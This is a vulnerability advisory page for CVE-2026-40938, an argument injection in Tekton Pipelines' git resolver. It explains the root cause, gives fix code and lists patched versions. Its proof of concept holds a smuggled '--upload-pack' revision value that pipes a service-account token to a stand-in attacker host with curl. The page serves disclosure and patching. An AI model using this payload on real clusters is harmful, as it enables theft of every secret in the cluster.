Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-40938 — pipeline

HIGH

CVE-2026-40938 is a high-severity (CVSS 7.5) CWE-88 vulnerability in github.com/tektoncd/pipeline. A fix is available for github.com/tektoncd/pipeline — see the affected versions and patch details below.

Tekton Pipelines: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

Also known asGHSA-94jr-7pqp-xhcqGO-2026-5272
Published
Apr 21, 2026
Updated
Sep 8, 2026
Affected
5 pkgs
Patched
5 / 5
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40938.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-40938 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

5 pkgs affected
🐹github.com/tektoncd/pipeline🐹github.com/tektoncd/pipeline🐹github.com/tektoncd/pipeline🐹github.com/tektoncd/pipeline🐹github.com/tektoncd/pipeline

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
    _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
    // When revision == "--upload-pack=/usr/bin/curl", git parses it as the
    // --upload-pack flag, not as a refspec — executing the binary locally.
    if err != nil {
        return fmt.Errorf("fetch: %w", err)
    }
    _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
    return err
}

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
    pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

  • A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
  • A default-URL configuration pointing at a local path

PoC

# Step 1: Set up a local git repository to serve as the "origin"
# (in a real attack, the attacker would time this against a concurrent clone
# or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

# Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF

# The resolver pod executes:
# git -C <tmpdir> fetch origin \
#   "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \
#   --depth=1
#
# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
# git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1
# Executes /bin/sh with the local repository path as argv[1].
# From /bin/sh, the attacker can use a pre-staged script (e.g., written
# via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact

  • Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod.
  • Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.
  • Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
  • Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.

Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

if strings.HasPrefix(paramsMap[RevisionParam], "-") {
    return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

func validateRepoURL(url string) bool {
    pattern := `^([^@]+@[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/tektoncd/pipeline≥ 1.10.0&&< 1.11.11.11.1go get github.com/tektoncd/pipeline@v1.11.1
🐹Gogithub.com/tektoncd/pipeline≥ 1.7.0&&< 1.9.31.9.3go get github.com/tektoncd/pipeline@v1.9.3
🐹Gogithub.com/tektoncd/pipeline≥ 1.4.0&&< 1.6.21.6.2go get github.com/tektoncd/pipeline@v1.6.2
🐹Gogithub.com/tektoncd/pipeline≥ 1.2.0&&< 1.3.41.3.4go get github.com/tektoncd/pipeline@v1.3.4
🐹Gogithub.com/tektoncd/pipeline≥ 1.0.0&&< 1.0.21.0.2go get github.com/tektoncd/pipeline@v1.0.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/tektoncd/pipeline, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/tektoncd/pipeline to 1.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40938 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40938 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-40938. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This Important flaw in Tekton Pipelines allows an authenticated user to achieve arbitrary code execution on the resolver pod by injecting malicious commands into the git resolver's revision parameter. This vulnerability happens because the `revision` parameter is passed as a positional argument to the `git fetch`…

ProductFixed inAdvisory
Red Hat OpenShift Builds 1.7.3openshift-builds/openshift-builds-controller-rhel9:1780373846RHSA-2026:24359
Red Hat OpenShift Builds 1.8.1openshift-builds/openshift-builds-controller-rhel9:1778683229RHSA-2026:17546
Red Hat OpenShift Pipelines 1.21serve-tkn-cli-1-21-serve-tkn-cli-1.21.1RHSA-2026:24484
Red Hat OpenShift Pipelines 1.21openshift-pipelines/pipelines-rhel9-operator:1780645012RHSA-2026:26519
Red Hat OpenShift Pipelines 1.21openshift-pipelines/pipelines-operator-bundle:1781686494RHSA-2026:26538

Frequently Asked Questions

## Summary The git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-reso
O3 Security · Impact-Aware SCA

Is CVE-2026-40938 in your dependencies?

O3 Security finds CVE-2026-40938 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-40938: pipeline PrivEsc (High 7.5) | O3 Security